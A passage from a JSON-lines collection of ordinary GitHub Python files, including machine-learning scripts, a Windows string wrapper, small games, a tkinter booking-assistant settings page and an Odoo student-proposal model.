print(\"Epoch: %03d | AvgCost: %.3f\" % (epoch + 1, avg_cost / (i + 1)), end=\"\")\n        print(\" | Train/Valid ACC: %.3f/%.3f\" % (train_acc, valid_acc))\n        \n    test_acc = sess.run(accuracy, feed_dict={tf_x: mnist.test.images,\n                                             tf_y: mnist.test.labels})\n    print('Test ACC: %.3f' % test_acc)\n\n","repo_name":"mixmikmic/GH_code_analysis","sub_path":"python/softmax-regression.py","file_name":"softmax-regression.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"11973470586","text":"# import the pytorch library into environment and check its version\nimport os\nimport torch\nfrom torch_geometric.data import Dataset, Data, DataLoader\nimport numpy as np\ntorch.cuda.is_available()\nimport numpy as np\nimport matplotlib.mlab as mlab\nfrom torch_geometric.nn import GCNConv\nfrom torch_geometric.nn import global_mean_pool\nfrom torch import Conv1d, Conv2d, Linear, Dropout\nimport torch.nn.functional as F\n\n\nclass GCN_TC(torch.nn.Module):\n    def __init__(self, in_channels, hidden_channels, out_channels):\n        super(GCN, self).__init__()\n\n        self.onedcnn = Conv1d(12, 12, 10, stride=2)\n        self.twodcnn = Conv2d(1,1,(1,10),stride=(1,2))\n        self.conv1 = GCNConv(in_channels, hidden_channels)\n        self.conv2 = GCNConv(hidden_channels, hidden_channels)\n        self.conv3 = GCNConv(hidden_channels, hidden_channels)\n        self.conv4 = GCNConv(hidden_channels, hidden_channels)\n        self.linear1 = Linear(hidden_channels, out_channels)\n        self.linear2 = Linear(out_channels, 1)\n        self.dropout = Dropout(p=0.2)\n        self.relu = F.relu\n        self.sigmoid = torch.sigmoid\n\n    def forward(self, x, edge_index, batch):\n        x = torch.unsqueeze(x,0)\n        x2 = self.twodcnn(x)\n        x3 = self.twodcnn(x2)\n        x4 = self.twodcnn(x3)\n        x4 = torch.squeeze(x4)\n        output1 = self.conv3(self.relu(self.conv2(self.relu(self.conv1(x4, edge_index)), edge_index)), edge_index)\n        output2 = global_mean_pool(output1, batch)\n        output = self.sigmoid(self.linear2(self.relu(self.linear1(output2))))\n\n        return output","repo_name":"veersangha/CPSC483-FinalProject","sub_path":"server_code/models/GCN_TC.py","file_name":"GCN_TC.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34783780267","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Apr  3 19:10:06 2023\r\n\r\n@author:  Hurgroup\r\n\"\"\"\r\n\r\nimport os\r\nfrom sklearn.model_selection import train_test_split\r\nfrom imgpreprocessing import SegmentationDataset\r\nfrom torch.utils.data import DataLoader\r\nfrom utils import save_dataset, plot_preprocessed_with_bboxes\r\n\r\n\r\ndef get_image_json_pairs(root_folder):\r\n    image_files = {}\r\n    json_files = {}\r\n\r\n    for root, _, files in os.walk(root_folder):\r\n        for file in files:\r\n            filename, ext = os.path.splitext(file)\r\n            if ext in [\".jpg\", \".jpeg\"]:\r\n                image_files[filename] = os.path.join(root, file)\r\n            elif ext == \".json\":\r\n                json_files[filename] = os.path.join(root, file)\r\n\r\n    pairs = []\r\n    for name in image_files:\r\n        if name in json_files:\r\n            pairs.append((image_files[name], json_files[name]))\r\n\r\n    return pairs\r\nfor i in ['apple']:\r\n    root_folder = i\r\n    image_json_pairs = get_image_json_pairs(root_folder)\r\n\r\n# Split pairs into train and validation sets\r\n    train_pairs, val_pairs = train_test_split(image_json_pairs, test_size=0.20, random_state=42)\r\n\r\n# Create the train and validation datasets\r\n    train_dataset_0 = SegmentationDataset(train_pairs, small=False, cutted=False, darker=False, brighter=False)\r\n    #train_dataset_1 = SegmentationDataset(train_pairs, small=True, cutted=False, darker=False, brighter=False, small_size=50)\r\n    #train_dataset_2 = SegmentationDataset(train_pairs, small=True, cutted=False, darker=False, brighter=False, small_size=25)\r\n    #train_dataset_3 = SegmentationDataset(train_pairs, small=True, cutted=False, darker=False, brighter=False, small_size=10)\r\n    #train_dataset_4 = SegmentationDataset(train_pairs, small=False, cutted=False, darker=True, brighter=False)\r\n    #train_dataset_5 = SegmentationDataset(train_pairs, small=False, cutted=False, darker=False, brighter=True)\r\n    #val_dataset = SegmentationDataset(val_pairs, small=False, cutted=False, darker=False, brighter=False)\r\n\r\n    train_dataset = train_dataset_0\r\n\r\n\r\n\r\n# # Create DataLoaders for train and validation datasets\r\n# train_loader = DataLoader(train_dataset, batch_size=4, shuffle=True, num_workers=4)\r\n# val_loader = DataLoader(val_dataset, batch_size=4, shuffle=False, num_workers=4)\r\n    print(\"Start Saving Train DataSet\")\r\n    save_dataset(train_dataset, \"preprocessed_train\")\r\n\r\n    #print(\"Start Saving Validation DataSet\")\r\n    #save_dataset(val_dataset, \"preprocessed_val\")\r\n\r\n'''\r\npreprocessed_dir = \"preprocessed_train\"\r\nplot_preprocessed_with_bboxes(preprocessed_dir, num_images=5)\r\n'''","repo_name":"eliseSou/apple_swetness_finder","sub_path":"data/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"10474067344","text":"import interpreter\n\ncode = '''\n<]+3^]$A?0>]+]F3^\n'''\n\ni = interpreter.Interpreter(human_mode=True)\ni.load(code)\n# print(i.num_inputs, i.num_outputs)\ni.run()\ni.dump_output()\n\n# i.dump_output()\n\n","repo_name":"lukvmil/badfriend","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"38959201046","text":"import ctypes\nimport weakref\n\nE_FAIL = -2147467259  # 0x80004005L\nE_NOTIMPL = -2147467263  # 0x80004001L\nE_NOINTERFACE = -2147467262  # 0x80004002L\nE_BOUNDS = -2147483637  # 0x8000000BL\n\n\ndef check_hresult(hr):\n    # print('HRESULT = 0x%08X' % (hr & 0xFFFFFFFF))\n    if (hr & 0x80000000) != 0:\n        if hr == E_NOTIMPL:\n            raise NotImplementedError\n        elif hr == E_NOINTERFACE:\n            raise TypeError(\"E_NOINTERFACE\")\n        elif hr == E_BOUNDS:\n            raise IndexError  # for old style iterator protocol\n        e = OSError(\"[HRESULT 0x%08X] %s\" % (hr & 0xFFFFFFFF, ctypes.FormatError(hr)))\n        e.winerror = hr & 0xFFFFFFFF\n        raise e\n    return hr\n\n\ncombase = ctypes.windll.LoadLibrary(\"combase.dll\")\nWindowsCreateString = combase.WindowsCreateString\nWindowsCreateString.argtypes = (ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_void_p))\nWindowsCreateString.restype = check_hresult\n\nWindowsDeleteString = combase.WindowsDeleteString\nWindowsDeleteString.argtypes = (ctypes.c_void_p,)\nWindowsDeleteString.restype = check_hresult\n\nWindowsGetStringRawBuffer = combase.WindowsGetStringRawBuffer\nWindowsGetStringRawBuffer.argtypes = (ctypes.c_void_p, ctypes.POINTER(ctypes.c_uint32))\nWindowsGetStringRawBuffer.restype = ctypes.c_void_p\n\n\n\nclass HSTRING(ctypes.c_void_p):\n    def __init__(self, s=None):\n        super().__init__()\n        if s is None or len(s) == 0:\n            self.value = None\n            return\n        u16str = s.encode(\"utf-16-le\") + b\"\\x00\\x00\"\n        u16len = (len(u16str) // 2) - 1\n        WindowsCreateString(u16str, ctypes.c_uint32(u16len), ctypes.byref(self))\n        self._finalizer = weakref.finalize(self, WindowsDeleteString, self.value)  # only register finalizer if we created the string\n\n    def __str__(self):\n        if self.value is None:\n            return \"\"\n        length = ctypes.c_uint32()\n        ptr = WindowsGetStringRawBuffer(self, ctypes.byref(length))\n        return ctypes.wstring_at(ptr, length.value)\n\n    def __repr__(self):\n        return \"HSTRING(%s)\" % repr(str(self))\n","repo_name":"mrob95/pyvda","sub_path":"pyvda/winstring.py","file_name":"winstring.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"38"}
{"seq_id":"7629577828","text":"import random\nfrom turtle import Turtle\n\nCOLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\n\n\nclass CarManager:\n    def __init__(self):\n        self.STARTING_MOVE_DISTANCE = 5\n        self.MOVE_INCREMENT = 3\n        self.all_cars = []\n\n    def create_car(self):\n        if random.randint(0, 7) == 4:\n            car = Turtle(\"square\")\n            car.penup()\n            car.goto(290, random.randint(-250, 250))\n            car.shapesize(stretch_wid=1, stretch_len=2)\n            car.color(random.choice(COLORS))\n            self.all_cars.append(car)\n\n    def move(self):\n        for car in self.all_cars:\n            car.setheading(180)\n            car.forward(self.STARTING_MOVE_DISTANCE)\n\n    def increase_speed(self):\n        self.STARTING_MOVE_DISTANCE += self.MOVE_INCREMENT\n","repo_name":"humaidd2/project-365","sub_path":"Day 23 [Crossing Game]/car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30058991541","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# Author:rachpt\n\nfrom os import path\nfrom pickle import dump, load\nfrom re import match\nfrom tkinter import (\n    StringVar,\n    Label,\n    E,\n    Button,\n    Frame,\n    BooleanVar,\n    Entry,\n    LabelFrame,\n    Label,\n    messagebox,\n    PhotoImage,\n)\n\nfrom .backend import update_cookie, force_update_cookie\n\n\nclass SettingPage(Frame):\n    def __init__(self, parent, controller):\n        Frame.__init__(self, parent)\n        self.controller = controller\n        self.is_checking = BooleanVar()\n        self.is_checking.set(False)\n        self.var_id = StringVar()\n        self.var_pwd = StringVar()\n        self.ctrl_show_pwd = False\n        self.ctrl_show_pa_pwd = False\n        self.Config_Path = self.controller.Config_Path\n        self.Cookie_Path = self.controller.Cookie_Path\n        self.ROOT = self.controller.ROOT\n\n        logo_path = path.join(self.ROOT, \"config/logo.gif\")\n        if not path.isfile(logo_path):\n            from .pic import logo_gif, get_pic\n\n            get_pic(logo_gif, logo_path)\n        global logo_img\n        logo_img = PhotoImage(file=logo_path)\n        self.label_logo = Label(self, image=logo_img, width=237, height=80)\n        # except Exception:\n        #     pass\n        self.label_id = Label(self, text=\"学号：\", anchor=E)\n        self.label_pwd = Label(self, text=\"统一身份认证密码：\", anchor=E)\n\n        self.entry_id = Entry(\n            self,\n            textvariable=self.var_id,\n            width=60,\n            borderwidth=3,\n            font=(\"Helvetica\", \"10\"),\n        )\n        self.entry_pwd = Entry(\n            self,\n            textvariable=self.var_pwd,\n            width=60,\n            borderwidth=3,\n            font=(\"Helvetica\", \"10\"),\n        )\n        self.entry_pwd[\"show\"] = \"*\"\n        self.entry_pwd_eye = Button(\n            self, bitmap=\"error\", width=10, command=self.show_pwd\n        )\n\n        self.button_login = Button(self, text=\"验证并保存\", command=self.verification)\n        self.button_checking = Button(\n            self, text=\"正在后台验证用户，请稍等 ...\", bg=\"LightGreen\", fg=\"Red\"\n        )\n\n        self.frame = LabelFrame(self, text=\"更多配置\", height=200, width=200)\n        self.var_pa_name = StringVar()\n        self.label_pa_name = Label(self.frame, text=\"同伴姓名：\", anchor=E)\n        self.ertry_pa_name = Entry(self.frame, textvariable=self.var_pa_name)\n\n        self.var_pa_num = StringVar()\n        self.label_pa_num = Label(self.frame, text=\"同伴学号：\", anchor=E)\n        self.ertry_pa_num = Entry(self.frame, textvariable=self.var_pa_num)\n\n        self.var_pa_pwd = StringVar()\n        self.label_pa_pwd = Label(self.frame, text=\"同伴场馆密码：\", anchor=E)\n        self.ertry_pa_pwd = Entry(self.frame, textvariable=self.var_pa_pwd)\n        self.ertry_pa_pwd[\"show\"] = \"*\"\n        self.entry_pa_pwd_eye = Button(\n            self.frame, bitmap=\"error\", width=10, command=self.show_partner_pwd\n        )\n\n        self.var_sort = StringVar()\n        self.place_sort_prompt = \"1至8，空格分割\"\n        self.var_sort.set(self.place_sort_prompt)\n        self.label_sort = Label(self.frame, text=\"预定顺序：\", anchor=E)\n        self.entry_sort = Entry(self.frame, textvariable=self.var_sort)\n\n        self.create_page()\n\n    def update_button_bar(self):\n        top = 30\n        height = 30\n        hspace = 20\n        middle = 270\n        f_y = 16\n        if self.is_checking.get():\n            self.button_login.place_forget()\n            self.button_checking.place(\n                x=middle - 25,\n                y=top\n                + (height + hspace) * 4\n                + height * 3\n                + f_y * 4\n                + hspace\n                + height\n                + 10,\n                width=250,\n                height=height + 10,\n            )\n        else:\n            self.button_login.place(\n                x=middle,\n                y=top + (height + hspace) * 4 + height * 3 + f_y * 4 + hspace,\n                width=200,\n                height=height + 10,\n            )\n            self.button_checking.place_forget()\n\n    def create_page(self):\n        top = 30\n        height = 30\n        hspace = 20\n        middle = 270\n        logo_h = 80\n        logo_w = 237\n\n        self.label_logo.place(x=(750 - logo_w) / 2, y=0, width=logo_w, height=logo_h)\n\n        self.label_id.place(x=190, y=top + logo_h, width=middle - 190, height=height)\n        self.label_pwd.place(\n            x=160, y=top + logo_h + (height + hspace), width=middle - 160, height=height\n        )\n\n        self.entry_id.place(x=middle, y=top + logo_h, width=250, height=height)\n        self.entry_pwd.place(\n            x=middle, y=top + logo_h + (height + hspace), width=230, height=height\n        )\n        self.entry_pwd_eye.place(\n            x=middle + 220,\n            y=top + logo_h + (height + hspace),\n            width=height,\n            height=height,\n        )\n\n        f_x = 30\n        f_y = 16\n        f_w1 = 90\n        f_w2 = 160\n        f_spx = 26\n        self.frame.place(\n            x=50, y=top + (height + hspace) * 4, width=630, height=height * 3 + f_y * 4\n        )\n\n        self.label_pa_name.place(x=f_x, y=f_y, width=f_w1, height=height)\n        self.ertry_pa_name.place(x=f_x + f_w1, y=f_y, width=f_w2, height=height)\n        self.label_pa_num.place(\n            x=f_x + f_w1 + f_w2 + f_spx, y=f_y, width=f_w1, height=height\n        )\n        self.ertry_pa_num.place(\n            x=f_x + f_w1 * 2 + f_w2 + f_spx, y=f_y, width=f_w2, height=height\n        )\n        self.label_pa_pwd.place(x=f_x, y=f_y * 2 + height, width=f_w1, height=height)\n        self.ertry_pa_pwd.place(\n            x=f_x + f_w1, y=f_y * 2 + height, width=f_w2 - height, height=height\n        )\n        self.entry_pa_pwd_eye.place(\n            x=f_x + f_w1 + f_w2 - height,\n            y=f_y * 2 + height,\n            width=height,\n            height=height,\n        )\n        self.label_sort.place(\n            x=f_x + f_w1 + f_w2 + f_spx, y=f_y * 2 + height, width=f_w1, height=height\n        )\n        self.entry_sort.place(\n            x=f_x + f_w1 * 2 + f_w2 + f_spx,\n            y=f_y * 2 + height,\n            width=f_w2,\n            height=height,\n        )\n        self.entry_sort.bind(\"<FocusIn>\", self.place_sort_click)\n        self.entry_sort.bind(\"<FocusOut>\", self.place_sort_out)\n        self.entry_sort.config(fg=\"grey\")\n\n        self.update_button_bar()\n        try:\n            with open(self.Config_Path, \"rb\") as _file:\n                usrs_info = load(_file)\n                self.var_id.set(usrs_info[\"student_id\"])\n                self.var_pwd.set(usrs_info[\"student_pwd\"])\n                self.var_pa_name.set(usrs_info[\"pa_name\"])\n                self.var_pa_num.set(usrs_info[\"pa_num\"])\n                self.var_pa_pwd.set(usrs_info[\"pa_pwd\"])\n                self.var_sort.set(usrs_info[\"place_sort\"])\n        except (FileNotFoundError, KeyError):\n            pass\n\n    def place_sort_click(self, event):\n        if self.var_sort.get() == self.place_sort_prompt:\n            self.var_sort.set(\"\")\n            self.entry_sort.config(fg=\"black\")\n\n    def place_sort_out(self, enent):\n        if self.var_sort.get() == \"\":\n            self.var_sort.set(self.place_sort_prompt)\n            self.entry_sort.config(fg=\"grey\")\n\n    def verification(self, auto=False):\n        if auto:\n            self.is_checking.set(True)\n            self.update_button_bar()\n        try:\n            student_id = self.var_id.get()\n            student_pwd = self.var_pwd.get()\n            pa_name = self.var_pa_name.get()\n            pa_num = self.var_pa_num.get()\n            pa_pwd = self.var_pa_pwd.get()\n            param_ok = self.controller.param_ok\n            place_sort = self.var_sort.get().strip()\n            if place_sort == self.place_sort_prompt:\n                place_sort = \"\"\n\n            user_info = {\n                \"student_id\": student_id,\n                \"student_pwd\": student_pwd,\n                \"pa_name\": pa_name,\n                \"pa_num\": pa_num,\n                \"pa_pwd\": pa_pwd,\n                \"place_sort\": place_sort,\n                \"param_ok\": param_ok,\n            }\n            # print(user_info)\n            _up_state = update_cookie(self.Config_Path, self.Cookie_Path)\n            # print(_up_state, auto)\n            if auto and _up_state:\n                # 旧配置 与 cookie 有效\n                self.controller.param_ok = True\n            if not auto:\n                if pa_num:\n                    match_pa_num = match(r\"^\\w20[\\d]{7}$\", pa_num)\n                    if not match_pa_num:\n                        raise Exception(\"同伴学号格式不对！\")\n                if not student_id:\n                    raise Exception(\"请输入学号！\")\n                else:\n                    # 匹配学号\n                    _match = match(r\"^\\w20[\\d]{7}$\", student_id)\n                    if not _match:\n                        raise Exception(\"学号格式不对！\")\n                if not student_pwd:\n                    raise Warning(\"请输入统一身份认证密码！\")\n                if force_update_cookie(self.Cookie_Path, user_info, verify=True):\n                    self.controller.param_ok = True\n                    with open(self.Config_Path, \"wb\") as _file:\n                        dump(user_info, _file)\n                else:\n                    raise RuntimeError(\"登录失败！\")\n        except Warning:\n            pass\n        except Exception as exc:\n            messagebox.showerror(\"Error\", \"--\" * 28 + \"\\n身份验证失败：%s\" % exc)\n        else:\n            # messagebox.showinfo('提示', '--'*28+'\\n   =_=用户信息配置有效=_=   ')\n            self.controller.show_frame(\"RunPage\")\n        if auto:\n            self.is_checking.set(False)\n            self.update_button_bar()\n\n    def show_pwd(self):\n        if self.ctrl_show_pwd:\n            self.ctrl_show_pwd = False\n            self.entry_pwd.configure(show=\"*\")\n        else:\n            self.ctrl_show_pwd = True\n            self.entry_pwd.configure(show=\"\")\n\n    def show_partner_pwd(self):\n        if self.ctrl_show_pa_pwd:\n            self.ctrl_show_pa_pwd = False\n            self.ertry_pa_pwd.configure(show=\"*\")\n        else:\n            self.ctrl_show_pa_pwd = True\n            self.ertry_pa_pwd.configure(show=\"\")\n","repo_name":"rachpt/Booking-Assistant","sub_path":"utils/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":10383,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"}
{"seq_id":"11186013295","text":"cont = 0\r\np1 = input('Telefonou para a vítima? ').upper().lstrip()\r\nif p1 == 'SIM':\r\n    cont = cont + 1\r\np2 = input('Esteve no local do crime? ').upper().lstrip()\r\nif p2 == 'SIM':\r\n    cont = cont + 1\r\np3 = input('Mora perto da vítima? ').upper().lstrip()\r\nif p3 == 'SIM':\r\n    cont = cont + 1\r\np4 = input('Devia para a vitima? ').upper().lstrip()\r\nif p4 == 'SIM':\r\n    cont = cont + 1\r\np5 = input('Já trabalhou com a vítima? ').upper().lstrip()\r\nif p5 == 'SIM':\r\n    cont = cont + 1\r\n\r\nif cont == 2:\r\n    print('Pessoa suspeita')\r\nelif cont == 3 or cont == 4:\r\n    print('Pessoa Cumplice')\r\nelif cont == 5:\r\n    print('Pessoa Assacina')\r\nelse:\r\n    print('Inocente')","repo_name":"InayaraMartins/Curso_LogicaEProgramacao_Python","sub_path":"live_exe02.py","file_name":"live_exe02.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32590017887","text":"from odoo import models, fields, api, _\nfrom odoo.exceptions import UserError, ValidationError, AccessError\n\nclass Proposal(models.Model):\n\t_name = 'student.proposal'\n\t_description = 'PaLMS - Project Proposal'\n\t_inherit = ['mail.thread', 'student.utils']\n\n\n\tname = fields.Char('Proposal Name', required=True, translate=True)\n\tname_ru = fields.Char('Название предложения проекта', required=True, translate=True)\n\t\t\n\t@api.depends('proponent')\n\tdef _compute_student_details(self):\n\t\tself.email = self.proponent.student_email\n\t\tself.phone = self.proponent.student_phone\n\t\tself.student_program = self.proponent.student_program.name\n\t\tself.student_degree = self.proponent.progress\n\t\tself.student_id = self.proponent.student_id\n\n\t# Assigns the student account created for this user\n\tdef _default_proponent(self):\n\t\tstudent = self.env['student.student'].sudo().search([('student_account.id', '=', self.env.uid)], limit=1)\n\t\tself._compute_student_details()\n\t\tif student:\n\t\t\treturn student.id \n\t\telse:\n\t\t\traise ValidationError(\"Student account could not be found. Please contact the supervisor.\")\n\t\t\n\t@api.depends('proponent')\n\tdef _compute_proponent_details(self):\n\t\tself.proponent_account = self.proponent.student_account\n\t\tself.proponent_faculty = self.proponent.student_faculty\n\t\t\n\t\t# ♦ It doesn't work. How to filter professors based on student faculty?\n\t\treturn {'domain': {'proposal_professor': [('professor_faculty.id','=',self.proponent_faculty.id)]}}\n\t\n\tproponent = fields.Many2one('student.student', string='Proposed by', default=_default_proponent, readonly=True, required=True)\n\tproponent_account= fields.Many2one('res.users', string=\"Proposing Account\", compute='_compute_proponent_details', store=True)\n\tproponent_faculty = fields.Many2one('student.faculty', string=\"Proposing Student Faculty\", compute='_compute_proponent_details', store=True)\n\n\tproposal_professor = fields.Many2one('student.professor', string='Professor', required=True)\n\tprofessor_account= fields.Many2one('res.users', string=\"Professor Account\", compute='_compute_professor_account', store=True)\n\n\t@api.depends('proposal_professor')\n\tdef _compute_professor_account(self):\n\t\tfor proposal in self:\n\t\t\tproposal.professor_account = proposal.proposal_professor.professor_account\n\n\temail = fields.Char('Email', compute=\"_compute_student_details\", store=True, readonly=True)\n\tadditional_email = fields.Char('Additional Email', required=False)\n\tphone = fields.Char('Phone', compute=\"_compute_student_details\", store=True, readonly=True)\n\tadditional_phone = fields.Char('Additional Phone', required=False)\n\ttelegram = fields.Char('Telegram ID', required=False)\n\tstudent_program = fields.Char(\"Student Track\", compute=\"_compute_student_details\", store=True, readonly=True)\n\tstudent_degree = fields.Char(\"Academic Year\", compute=\"_compute_student_details\", store=True, readonly=True)\n\tstudent_id = fields.Char(\"Student ID\", compute=\"_compute_student_details\", store=True, readonly=True)\n            \n\tproject_id = fields.Many2one('student.project', string=\"Converted to\", readonly=True)\n    \n\ttype = fields.Selection([('cw', 'Course Work (Курсовая работа)'), ('fqw', 'Final Qualifying Work (ВКР)')], string=\"Proposal Project Type\", required=True)\n\tformat = fields.Selection([('research', 'Research'), ('project', 'Project'), ('startup', 'Start-up')], string=\"Format\", required=True)\n\tlanguage = fields.Selection([('en', 'English'), ('ru', 'Russian')], default=\"en\", string=\"Language\", required=True)\n\n\tdescription = fields.Text('Detailed Description', required=True)\n\tresults = fields.Text('Expected Results')\n\tfeedback = fields.Text('Professor Feedback')\n\n\tadditional_files = fields.Many2many(comodel_name=\"ir.attachment\", string=\"Additional Files\") \n\n\tstate = fields.Selection([('draft', 'Draft'),('sent', 'Sent'),('accepted', 'Accepted'),('confirmed', 'Confirmed'),('rejected', 'Rejected')], default='draft', readonly=True, string='Proposal State', store=True)\n\tsent_date = fields.Date(string='Sent Date')    \n\t\n\t@api.constrains(\"feedback\")\n\tdef _check_reason_modified(self):\n\t\tif not self.env.user.has_group(\"student.group_professor\"):\n\t\t\traise UserError(\"Only professors can modify the feedback!\")\n        \n\t\tif self.env.user.id != self.professor_account.id:\n\t\t\traise UserError(\"This project proposal is not sent to you.\")\n\n\t@api.onchange('description', 'results', 'proposal_professor', 'additional_email', 'additional_phone', 'telegram')\n\tdef _check_user_identity(self):\n\t\tif not self.env.user.has_group('student.group_supervisor'):\n\t\t\tif self.proponent_account != self.env.user:\n\t\t\t\traise AccessError(\"You can only modify proposals that you created. If you require assistance, contact the supervisor.\")\n\n\t@api.depends('project_id.state')\n\tdef action_view_proposal_send(self):\n\t\tself._check_user_identity()\n\n\t\tif self.state != 'draft':\n\t\t\traise UserError(\"The proposal is already sent!\")\n\t\telse:\n\t\t\tself.write({'state': 'sent'})\n\n\t\t\t# Updates the ownership of files for other users to access them\n\t\t\tfor attachment in self.additional_files:\n\t\t\t\tattachment.write({'res_model': self._name, 'res_id': self.id})\n            \n\t\t\t# Send the email --------------------\n\t\t\tsubtype_id = self.env.ref('student.student_message_subtype_email')\n\t\t\ttemplate = self.env.ref('student.email_template_proposal_send')\n\t\t\ttemplate.send_mail(self.id, email_values={'subtype_id': subtype_id.id}, force_send=True)\n\t\t\t# -----------------------------------\n\n\t\t\t# Construct the message that is to be sent to the user\n\t\t\tmessage_text = f'<strong>Project Proposal Received</strong><p> ' + self.proponent_account.name + \" sent a project proposal «\" + self.name + \"». Please evaluate the proposal.</p>\"\n\n\t\t\t# Use the send_message utility function to send the message\n\t\t\tself.env['student.utils'].send_message('proposal', message_text, self.professor_account, self.proponent_account, (str(self.id),str(self.name)))\n\n\t\t\tself.sent_date = fields.Date.today()\n\n\t\t\treturn self.env['student.utils'].message_display('Sent', 'The project proposal is submitted for review.', False)\n\n\tdef action_view_proposal_cancel(self):\n\t\tself._check_user_identity()\n\n\t\tif self.state == 'sent':\n\t\t\tself.write({'state': 'draft'})\n\n\t\t\treturn self.env['student.utils'].message_display('Cancellation', 'The proposal submission is cancelled.', False)\n\t\telse:\n\t\t\traise UserError(\"The proposal is already processed!\")\n\t\t\t\n\tdef _check_professor_identity(self):\n\t\tif not self.env.user.has_group('student.group_supervisor'):\n\t\t\tif self.professor_account != self.env.user:\n\t\t\t\traise AccessError(\"You can only respond to the proposals sent to you.\")\n\n\tdef action_view_proposal_accept(self):\n\t\tself._check_professor_identity()\n\n\t\tif self.proponent.current_project:\n\t\t\traise ValidationError(\"This student is already assigned to another project.\")\n\n\t\tif self.state == 'sent':\n\t\t\tself.project_id = self.env['student.project'].create({\n\t\t\t\t'name': self.name,\n\t\t\t\t'name_ru': self.name_ru,\n\t\t\t\t'description': self.description,\n\t\t\t\t'requirements': 'Not applicable for proposed projects...',\n\t\t\t\t'results': self.results,\n\t\t\t\t'campus_id': self.proponent.student_faculty.campus,\n\t\t\t\t'faculty_id': self.proponent.student_faculty,\n\t\t\t\t'program_ids': self.proponent.student_program,\n\t\t\t\t'format': self.format,\n\t\t\t\t'language': self.language,\n\t\t\t\t'proposal_id': self.id,\n\t\t\t\t'professor_id': self.proposal_professor.id,\n\t\t\t\t'professor_account': self.professor_account.id,\n\t\t\t\t'assigned': True,\n\t\t\t\t'student_elected': self.proponent\n\t\t\t})\n\n\t\t\tproject_availability = self.env['student.availability'].create({\n\t\t\t\t'project_id': self.project_id.id,\n\t\t\t\t'state': 'waiting',\n\t\t\t\t'program_id': self.proponent.student_program.id,\n\t\t\t\t'type': self.type,\n\t\t\t\t'degree_ids': self.proponent.degree,\n\t\t\t})\n\n\t\t\tself.project_id.write({'availability_ids': project_availability})\n\t\t\t\n\t\t\tself.write({'state': 'accepted'})\n            \n\t\t\t# Send the email --------------------\n\t\t\tsubtype_id = self.env.ref('student.student_message_subtype_email')\n\t\t\ttemplate = self.env.ref('student.email_template_proposal_accept')\n\t\t\ttemplate.send_mail(self.id, email_values={'subtype_id': subtype_id.id}, force_send=True)\n\t\t\t# -----------------------------------\n\n\t\t\t# Construct the message that is to be sent to the user\n\t\t\tmessage_text = f\"<strong>Proposal Accepted</strong><p> The proposal is accepted by <i>\" + self.professor_account.name + \"</i> and converted to a project submission. It can be assigned to the student after supervisor's approval.</p>\"\n\n\t\t\t# Use the send_message utility function to send the message\n\t\t\tself.env['student.utils'].send_message('proposal', message_text, self.proponent_account, self.professor_account, (str(self.id),str(self.name)))\n\t\t\t\n\t\t\treturn self.env['student.utils'].message_display('Accepted', 'The proposal is accepted and converted to a project.', False)\n\t\telse:\n\t\t\traise UserError(\"The proposal is already processed or still a draft!\")\n\t\n\tdef _check_feedback(self):\n\t\tif not self.feedback:\n\t\t\traise UserError(\"You have to provide a reason for rejection.\")\n\t\tif len(self.feedback) < 20:\n\t\t\traise UserError(\"Please provide a more detailed feedback (at least 20 characters).\")\n\t\t\n\tdef action_view_proposal_reject(self):\n\t\tself._check_professor_identity()\n\n\t\tif self.state == 'sent':\n\t\t\tself._check_feedback()\n\n\t\t\tself.write({'state': 'rejected'})\n            \n\t\t\t# Send the email --------------------\n\t\t\tsubtype_id = self.env.ref('student.student_message_subtype_email')\n\t\t\ttemplate = self.env.ref('student.email_template_proposal_reject')\n\t\t\ttemplate.send_mail(self.id, email_values={'subtype_id': subtype_id.id}, force_send=True)\n\t\t\t# -----------------------------------\n\n\t\t\t# Construct the message that is to be sent to the user\n\t\t\tmessage_text = f'<strong>Proposal Rejected</strong><p> This project proposal is rejected by <i>' + self.professor_account.name + '</i>. Please check the <b>Feedback</b> section to learn about the reason.</p>'\n\n\t\t\t# Use the send_message utility function to send the message\n\t\t\tself.env['student.utils'].send_message('proposal', message_text, self.proponent_account, self.professor_account, (str(self.id),str(self.name)))\n\n\t\t\treturn self.env['student.utils'].message_display('Rejection', 'The proposal is rejected.', False)\n\t\telse:\n\t\t\traise UserError(\"The proposal is already processed or still a draft!\")\n\t\t\n    # RESTRICTIONS #\n\t@api.constrains('name', 'name_ru', 'proposal_professor', 'type', 'format', 'language', 'additional_email', 'additional_phone', 'telegram', 'description', 'results', 'additional_files')\n\tdef _check_initiator_identity(self):\n\t\tif self.env.uid != self.proponent_account.id:\n\t\t\traise ValidationError(\"Only the creator of the proposal can modify details.\")\n\t\t\n\tdef unlink(self):\n\t\tfor record in self:\n\t\t\tif not record.env.user.has_group('student.group_administrator') and record.env.uid != record.proponent_account.id:\n\t\t\t\traise UserError(_('Only the proposing student can delete the proposal!'))\n\t\treturn super(Proposal, 